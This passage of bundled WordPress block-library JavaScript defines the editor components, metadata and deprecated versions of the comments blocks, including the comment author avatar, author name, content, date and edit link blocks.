          /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("br", {}),
          (0, import_i18n30.__)(
            "To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard."
          ),
          /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("br", {}),
          (0, import_element14.createInterpolateElement)(
            (0, import_i18n30.__)(
              "Commenter avatars come from <a>Gravatar</a>."
            ),
            {
              a: (
                // eslint-disable-next-line jsx-a11y/anchor-has-content
                /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("a", { href: "https://gravatar.com/" })
              )
            }
          )
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "reply", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
          "a",
          {
            className: "comment-reply-link",
            href: "#top",
            "aria-label": (0, import_i18n30.__)(
              "Reply to A WordPress Commenter"
            ),
            /* translators: Comment reply button text. */
            children: (0, import_i18n30._x)("Reply", "verb")
          }
        ) })
      ] }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("div", { className: "navigation", children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "alignleft", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("a", { href: "#top", children: [
          "\xAB ",
          (0, import_i18n30.__)("Older Comments")
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "alignright", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("a", { href: "#top", children: [
          (0, import_i18n30.__)("Newer Comments"),
          " \xBB"
        ] }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(form_default, { postId, postType })
    ] });
  }

  // packages/block-library/build-module/comments/edit/comments-legacy.mjs
  var import_jsx_runtime200 = __toESM(require_jsx_runtime(), 1);
  function CommentsLegacy({
    attributes: attributes2,
    setAttributes,
    context: { postType, postId }
  }) {
    const { textAlign } = attributes2;
    const actions = [
      /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(
        import_components20.Button,
        {
          __next40pxDefaultSize: true,
          onClick: () => void setAttributes({ legacy: false }),
          variant: "primary",
          children: (0, import_i18n31.__)("Switch to editable mode")
        },
        "convert"
      )
    ];
    const blockProps = (0, import_block_editor43.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    return /* @__PURE__ */ (0, import_jsx_runtime200.jsxs)(import_jsx_runtime200.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(import_block_editor43.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(
        import_block_editor43.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) => {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime200.jsxs)("div", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(import_block_editor43.Warning, { actions, children: (0, import_i18n31.__)(
          "Comments block: You\u2019re currently using the legacy version of the block. The following is just a placeholder - the final styling will likely look different. For a better representation and more customization options, switch the block to its editable mode."
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(PostCommentsPlaceholder, { postId, postType })
      ] })
    ] });
  }

  // packages/block-library/build-module/comments/edit/template.mjs
  var TEMPLATE2 = [
    ["core/comments-title"],
    [
      "core/comment-template",
      {},
      [
        [
          "core/columns",
          {},
          [
            [
              "core/column",
              { width: "40px" },
              [
                [
                  "core/avatar",
                  {
                    size: 40,
                    style: {
                      border: { radius: "20px" }
                    }
                  }
                ]
              ]
            ],
            [
              "core/column",
              {},
              [
                [
                  "core/comment-author-name",
                  {
                    fontSize: "small"
                  }
                ],
                [
                  "core/group",
                  {
                    layout: { type: "flex" },
                    style: {
                      spacing: {
                        margin: {
                          top: "0px",
                          bottom: "0px"
                        }
                      }
                    }
                  },
                  [
                    [
                      "core/comment-date",
                      {
                        fontSize: "small"
                      }
                    ],
                    [
                      "core/comment-edit-link",
                      {
                        fontSize: "small"
                      }
                    ]
                  ]
                ],
                ["core/comment-content"],
                [
                  "core/comment-reply-link",
                  {
                    fontSize: "small"
                  }
                ]
              ]
            ]
          ]
        ]
      ]
    ],
    ["core/comments-pagination"],
    ["core/post-comments-form"]
  ];
  var template_default = TEMPLATE2;

  // packages/block-library/build-module/comments/edit/index.mjs
  var import_jsx_runtime201 = __toESM(require_jsx_runtime(), 1);
  function CommentsEdit(props) {
    const { attributes: attributes2, setAttributes, clientId } = props;
    const { tagName: TagName2, legacy } = attributes2;
    const blockProps = (0, import_block_editor44.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor44.useInnerBlocksProps)(blockProps, {
      template: template_default
    });
    if (legacy) {
      return /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(CommentsLegacy, { ...props });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime201.jsxs)(import_jsx_runtime201.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(
        CommentsInspectorControls,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(TagName2, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/comments/save.mjs
  var import_block_editor45 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime202 = __toESM(require_jsx_runtime(), 1);
  function save12({ attributes: { tagName: Tag, legacy } }) {
    const blockProps = import_block_editor45.useBlockProps.save();
    const innerBlocksProps = import_block_editor45.useInnerBlocksProps.save(blockProps);
    return legacy ? null : /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(Tag, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/comments/index.mjs
  var { name: name17 } = block_default18;
  var settings17 = {
    icon: post_comments_default,
    example: {},
    edit: CommentsEdit,
    save: save12,
    deprecated: deprecated_default7
  };
  var init17 = () => initBlock({ name: name17, metadata: block_default18, settings: settings17 });

  // packages/block-library/build-module/comment-author-avatar/index.mjs
  var comment_author_avatar_exports = {};
  __export(comment_author_avatar_exports, {
    init: () => init18,
    metadata: () => block_default19,
    name: () => name18,
    settings: () => settings18
  });

  // packages/block-library/build-module/comment-author-avatar/block.json
  var block_default19 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: "fse",
    name: "core/comment-author-avatar",
    title: "Comment Author Avatar (deprecated)",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "This block is deprecated. Please use the Avatar block instead.",
    textdomain: "default",
    attributes: {
      width: {
        type: "number",
        default: 96
      },
      height: {
        type: "number",
        default: 96
      }
    },
    usesContext: ["commentId"],
    supports: {
      html: false,
      inserter: false,
      __experimentalBorder: {
        radius: true,
        width: true,
        color: true,
        style: true
      },
      color: {
        background: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      spacing: {
        __experimentalSkipSerialization: true,
        margin: true,
        padding: true
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comment-author-avatar/edit.mjs
  var import_block_editor46 = __toESM(require_block_editor(), 1);
  var import_components21 = __toESM(require_components(), 1);
  var import_core_data9 = __toESM(require_core_data(), 1);
  var import_data22 = __toESM(require_data(), 1);
  var import_i18n32 = __toESM(require_i18n(), 1);
  var import_jsx_runtime203 = __toESM(require_jsx_runtime(), 1);
  function Edit6({
    attributes: attributes2,
    context: { commentId },
    setAttributes,
    isSelected
  }) {
    const { height, width } = attributes2;
    const [avatars] = (0, import_core_data9.useEntityProp)(
      "root",
      "comment",
      "author_avatar_urls",
      commentId
    );
    const [authorName] = (0, import_core_data9.useEntityProp)(
      "root",
      "comment",
      "author_name",
      commentId
    );
    const avatarUrls = avatars ? Object.values(avatars) : null;
    const sizes = avatars ? Object.keys(avatars) : null;
    const minSize = sizes ? sizes[0] : 24;
    const maxSize = sizes ? sizes[sizes.length - 1] : 96;
    const blockProps = (0, import_block_editor46.useBlockProps)();
    const spacingProps = (0, import_block_editor46.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const maxSizeBuffer = Math.floor(maxSize * 2.5);
    const avatarURL = (0, import_data22.useSelect)((select9) => {
      const { __experimentalDiscussionSettings } = select9(import_block_editor46.store).getSettings();
      return __experimentalDiscussionSettings?.avatarURL;
    }, []);
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_block_editor46.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_components21.PanelBody, { title: (0, import_i18n32.__)("Settings"), children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
      import_components21.RangeControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n32.__)("Image size"),
        onChange: (newWidth) => setAttributes({
          width: newWidth,
          height: newWidth
        }),
        min: minSize,
        max: maxSizeBuffer,
        initialPosition: width,
        value: width
      }
    ) }) });
    const resizableAvatar = /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
      import_components21.ResizableBox,
      {
        size: {
          width,
          height
        },
        showHandle: isSelected,
        onResizeStop: (event, direction, elt, delta) => {
          setAttributes({
            height: parseInt(height + delta.height, 10),
            width: parseInt(width + delta.width, 10)
          });
        },
        lockAspectRatio: true,
        enable: {
          top: false,
          right: !(0, import_i18n32.isRTL)(),
          bottom: true,
          left: (0, import_i18n32.isRTL)()
        },
        minWidth: minSize,
        maxWidth: maxSizeBuffer,
        children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
          "img",
          {
            src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : avatarURL,
            alt: `${authorName} ${(0, import_i18n32.__)("Avatar")}`,
            ...blockProps
          }
        )
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(import_jsx_runtime203.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("div", { ...spacingProps, children: resizableAvatar })
    ] });
  }

  // packages/block-library/build-module/comment-author-avatar/index.mjs
  var { name: name18 } = block_default19;
  var settings18 = {
    icon: comment_author_avatar_default,
    edit: Edit6
  };
  var init18 = () => initBlock({ name: name18, metadata: block_default19, settings: settings18 });

  // packages/block-library/build-module/comment-author-name/index.mjs
  var comment_author_name_exports = {};
  __export(comment_author_name_exports, {
    init: () => init19,
    metadata: () => block_default20,
    name: () => name19,
    settings: () => settings19
  });

  // packages/block-library/build-module/comment-author-name/block.json
  var block_default20 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-author-name",
    title: "Comment Author Name",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "Displays the name of the author of the comment.",
    textdomain: "default",
    attributes: {
      isLink: {
        type: "boolean",
        default: true
      },
      linkTarget: {
        type: "string",
        default: "_self"
      }
    },
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-comment-author-name"
  };

  // packages/block-library/build-module/comment-author-name/edit.mjs
  var import_i18n33 = __toESM(require_i18n(), 1);
  var import_data23 = __toESM(require_data(), 1);
  var import_block_editor47 = __toESM(require_block_editor(), 1);
  var import_core_data10 = __toESM(require_core_data(), 1);
  var import_components22 = __toESM(require_components(), 1);
  var import_jsx_runtime204 = __toESM(require_jsx_runtime(), 1);
  function Edit7(props) {
    const {
      attributes: { isLink, linkTarget },
      context: { commentId },
      setAttributes
    } = props;
    useDeprecatedTextAlign(props);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockProps = (0, import_block_editor47.useBlockProps)();
    let displayName = (0, import_data23.useSelect)(
      (select9) => {
        const { getEntityRecord } = select9(import_core_data10.store);
        const comment = getEntityRecord("root", "comment", commentId);
        const authorName = comment?.author_name;
        if (comment && !authorName) {
          const user = getEntityRecord("root", "user", comment.author);
          return user?.name ?? (0, import_i18n33.__)("Anonymous");
        }
        return authorName ?? "";
      },
      [commentId]
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(import_block_editor47.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime204.jsxs)(
      import_components22.__experimentalToolsPanel,
      {
        label: (0, import_i18n33.__)("Settings"),
        resetAll: () => {
          setAttributes({
            isLink: true,
            linkTarget: "_self"
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
            import_components22.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n33.__)("Link to authors URL"),
              isShownByDefault: true,
              hasValue: () => !isLink,
              onDeselect: () => setAttributes({
                isLink: true
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
                import_components22.ToggleControl,
                {
                  label: (0, import_i18n33.__)("Link to authors URL"),
                  onChange: () => setAttributes({ isLink: !isLink }),
                  checked: isLink
                }
              )
            }
          ),
          isLink && /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
            import_components22.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n33.__)("Open in new tab"),
              isShownByDefault: true,
              hasValue: () => linkTarget !== "_self",
              onDeselect: () => setAttributes({
                linkTarget: "_self"
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
                import_components22.ToggleControl,
                {
                  label: (0, import_i18n33.__)("Open in new tab"),
                  onChange: (value) => setAttributes({
                    linkTarget: value ? "_blank" : "_self"
                  }),
                  checked: linkTarget === "_blank"
                }
              )
            }
          )
        ]
      }
    ) });
    if (!commentId || !displayName) {
      displayName = (0, import_i18n33._x)("Comment Author", "block title");
    }
    const displayAuthor = isLink ? /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
      "a",
      {
        href: "#comment-author-pseudo-link",
        onClick: (event) => event.preventDefault(),
        children: displayName
      }
    ) : displayName;
    return /* @__PURE__ */ (0, import_jsx_runtime204.jsxs)(import_jsx_runtime204.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime204.jsx)("div", { ...blockProps, children: displayAuthor })
    ] });
  }

  // packages/block-library/build-module/comment-author-name/deprecated.mjs
  var v22 = {
    attributes: {
      isLink: {
        type: "boolean",
        default: true
      },
      linkTarget: {
        type: "string",
        default: "_self"
      },
      textAlign: {
        type: "string"
      }
    },
    usesContext: ["commentId"],
    supports: {
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var v15 = {
    attributes: {
      isLink: {
        type: "boolean",
        default: false
      },
      linkTarget: {
        type: "string",
        default: "_self"
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default8 = [v22, v15];

  // packages/block-library/build-module/comment-author-name/index.mjs
  var { name: name19 } = block_default20;
  var settings19 = {
    icon: comment_author_name_default,
    edit: Edit7,
    deprecated: deprecated_default8,
    example: {}
  };
  var init19 = () => initBlock({ name: name19, metadata: block_default20, settings: settings19 });

  // packages/block-library/build-module/comment-content/index.mjs
  var comment_content_exports = {};
  __export(comment_content_exports, {
    init: () => init20,
    metadata: () => block_default21,
    name: () => name20,
    settings: () => settings20
  });

  // packages/block-library/build-module/comment-content/block.json
  var block_default21 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-content",
    title: "Comment Content",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "Displays the contents of a comment.",
    textdomain: "default",
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      spacing: {
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      html: false
    },
    style: "wp-block-comment-content"
  };

  // packages/block-library/build-module/comment-content/edit.mjs
  var import_i18n34 = __toESM(require_i18n(), 1);
  var import_element15 = __toESM(require_element(), 1);
  var import_components23 = __toESM(require_components(), 1);
  var import_core_data11 = __toESM(require_core_data(), 1);
  var import_block_editor48 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime205 = __toESM(require_jsx_runtime(), 1);
  function Edit8(props) {
    const {
      context: { commentId }
    } = props;
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor48.useBlockProps)();
    const [content] = (0, import_core_data11.useEntityProp)(
      "root",
      "comment",
      "content",
      commentId
    );
    if (!commentId || !content) {
      return /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_jsx_runtime205.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)("p", { children: (0, import_i18n34._x)("Comment Content", "block title") }) }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_jsx_runtime205.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_components23.Disabled, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_element15.RawHTML, { children: content.rendered }, "html") }) }) });
  }

  // packages/block-library/build-module/comment-content/deprecated.mjs
  var v16 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      spacing: {
        padding: ["horizontal", "vertical"]
      },
      html: false
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default9 = [v16];

  // packages/block-library/build-module/comment-content/index.mjs
  var { name: name20 } = block_default21;
  var settings20 = {
    icon: comment_content_default,
    edit: Edit8,
    deprecated: deprecated_default9,
    example: {}
  };
  var init20 = () => initBlock({ name: name20, metadata: block_default21, settings: settings20 });

  // packages/block-library/build-module/comment-date/index.mjs
  var comment_date_exports = {};
  __export(comment_date_exports, {
    init: () => init21,
    metadata: () => block_default22,
    name: () => name21,
    settings: () => settings21
  });

  // packages/block-library/build-module/comment-date/block.json
  var block_default22 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-date",
    title: "Comment Date",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "Displays the date on which the comment was posted.",
    textdomain: "default",
    attributes: {
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: true
      }
    },
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-comment-date"
  };

  // packages/block-library/build-module/comment-date/edit.mjs
  var import_core_data12 = __toESM(require_core_data(), 1);
  var import_date = __toESM(require_date(), 1);
  var import_block_editor49 = __toESM(require_block_editor(), 1);
  var import_components24 = __toESM(require_components(), 1);
  var import_i18n35 = __toESM(require_i18n(), 1);
  var import_jsx_runtime206 = __toESM(require_jsx_runtime(), 1);
  function Edit9({
    attributes: { format: format3, isLink },
    context: { commentId },
    setAttributes
  }) {
    const blockProps = (0, import_block_editor49.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    let [date] = (0, import_core_data12.useEntityProp)("root", "comment", "date", commentId);
    const [siteFormat = (0, import_date.getSettings)().formats.date] = (0, import_core_data12.useEntityProp)(
      "root",
      "site",
      "date_format"
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(import_block_editor49.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime206.jsxs)(
      import_components24.__experimentalToolsPanel,
      {
        label: (0, import_i18n35.__)("Settings"),
        resetAll: () => {
          setAttributes({
            format: void 0,
            isLink: true
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
            import_components24.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n35.__)("Date format"),
              hasValue: () => format3 !== void 0,
              onDeselect: () => setAttributes({ format: void 0 }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
                import_block_editor49.__experimentalDateFormatPicker,
                {
                  format: format3,
                  defaultFormat: siteFormat,
                  onChange: (nextFormat) => setAttributes({ format: nextFormat })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
            import_components24.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n35.__)("Link to comment"),
              hasValue: () => !isLink,
              onDeselect: () => setAttributes({ isLink: true }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
                import_components24.ToggleControl,
                {
                  label: (0, import_i18n35.__)("Link to comment"),
                  onChange: () => setAttributes({ isLink: !isLink }),
                  checked: isLink
                }
              )
            }
          )
        ]
      }
    ) });
    if (!commentId || !date) {
      date = (0, import_i18n35._x)("Comment Date", "block title");
    }
    let commentDate = date instanceof Date ? /* @__PURE__ */ (0, import_jsx_runtime206.jsx)("time", { dateTime: (0, import_date.dateI18n)("c", date), children: format3 === "human-diff" ? (0, import_date.humanTimeDiff)(date) : (0, import_date.dateI18n)(format3 || siteFormat, date) }) : /* @__PURE__ */ (0, import_jsx_runtime206.jsx)("time", { children: date });
    if (isLink) {
      commentDate = /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
        "a",
        {
          href: "#comment-date-pseudo-link",
          onClick: (event) => event.preventDefault(),
          children: commentDate
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime206.jsxs)(import_jsx_runtime206.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime206.jsx)("div", { ...blockProps, children: commentDate })
    ] });
  }

  // packages/block-library/build-module/comment-date/deprecated.mjs
  var v17 = {
    attributes: {
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default10 = [v17];

  // packages/block-library/build-module/comment-date/index.mjs
  var { name: name21 } = block_default22;
  var settings21 = {
    icon: post_date_default,
    edit: Edit9,
    deprecated: deprecated_default10,
    example: {}
  };
  var init21 = () => initBlock({ name: name21, metadata: block_default22, settings: settings21 });

  // packages/block-library/build-module/comment-edit-link/index.mjs
  var comment_edit_link_exports = {};
  __export(comment_edit_link_exports, {
    init: () => init22,
    metadata: () => block_default23,
    name: () => name22,
    settings: () => settings22
  });

  // packages/block-library/build-module/comment-edit-link/block.json
  var block_default23 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-edit-link",
    title: "Comment Edit Link",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",
    textdomain: "default",
    usesContext: ["commentId"],
    attributes: {
      linkTarget: {
        type: "string",
        default: "_self"
      }
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    style: "wp-block-comment-edit-link"
  };

  // packages/block-library/build-module/comment-edit-link/edit.mjs
  var import_block_editor50 = __toESM(require_block_editor(), 1);
  var import_components25 = __toESM(require_components(), 1);
  var import_i18n36 = __toESM(require_i18n(), 1);
  var import_jsx_runtime207 = __toESM(require_jsx_runtime(), 1);
  function Edit10(props) {
    const { attributes: attributes2, setAttributes } = props;
    const { linkTarget } = attributes2;
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor50.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(import_block_editor50.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
      import_components25.__experimentalToolsPanel,
      {
        label: (0, import_i18n36.__)("Settings"),
        resetAll: () => {
          setAttributes({
            linkTarget: "_self"
          });
        },
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
          import_components25.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n36.__)("Open in new tab"),
            isShownByDefault: true,
            hasValue: () => linkTarget === "_blank",
            onDeselect: () => setAttributes({ linkTarget: "_self" }),
            children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
              import_components25.ToggleControl,
              {
                label: (0, import_i18n36.__)("Open in new tab"),
                onChange: (value) => setAttributes({
                  linkTarget: value ? "_blank" : "_self"
                }),
                checked: linkTarget === "_blank"
              }
            )
          }
        )
      }
    ) });
    return /* @__PURE__ */ (0, import_jsx_runtime207.jsxs)(import_jsx_runtime207.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime207.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
        "a",
        {
          href: "#edit-comment-pseudo-link",
          onClick: (event) => event.preventDefault(),
          children: (0, import_i18n36.__)("Edit")
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/comment-edit-link/deprecated.mjs
  var v18 = {
    attributes: {
      linkTarget: {
        type: "string",
        default: "_self"
      },
      textAlign: {
        type: "string"
      }
    },
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        gradients: true,
        text: false
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default11 = [v18];

  // packages/block-library/build-module/comment-edit-link/index.mjs
